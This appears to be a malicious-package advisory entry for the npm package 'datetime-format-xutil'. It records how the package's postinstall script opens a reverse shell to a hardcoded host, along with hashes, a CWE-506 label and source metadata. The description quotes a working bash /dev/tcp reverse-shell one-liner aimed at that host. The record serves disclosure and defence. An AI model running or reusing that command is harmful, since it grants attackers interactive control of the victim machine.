-= Per source details. Do not edit below this line.=-
The package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.
{
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-017627",
"import_time": "2026-08-13T15:26:43.169431936Z",
"sha256": "677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24",
"versions": [
"1.0.0"
],
"source": "amazon-inspector",
"modified_time": "2026-08-13T14:59:51Z"
}
]
}[
{
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code",
"cweId": "CWE-506"
}
]
{
"evidence_files": [
{
"path": "postinstall.js",
"tlsh": "9811ebe905fad07caf7b247866bfa426211342077819eee4b8ce0b03af125680c123a1",
"sha256": "6da6821e4a53bdd6c0e40a6f81a0491b98031c5444cf7582b3ec40c08e4718a2"
}
],
"package_integrity": [
{
"filename": "datetime-format-xutil-1.0.0.tgz",
"hashes": {
"sha1": "4132363cad941d08aa6d18abefc2f7630e63d543",
"sha512_sri": "sha512-py7mpQJAmHBFij7MhJBG0dm2j4Pb7DUQ+mTulrz1GBuJzGowwBx3ziptbS/muEYtJBQ97Qi1sl7Dw8TSYYsl6Q=="
}
}
]
}
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/datetime-format-xutil/MAL-2026-13936.json"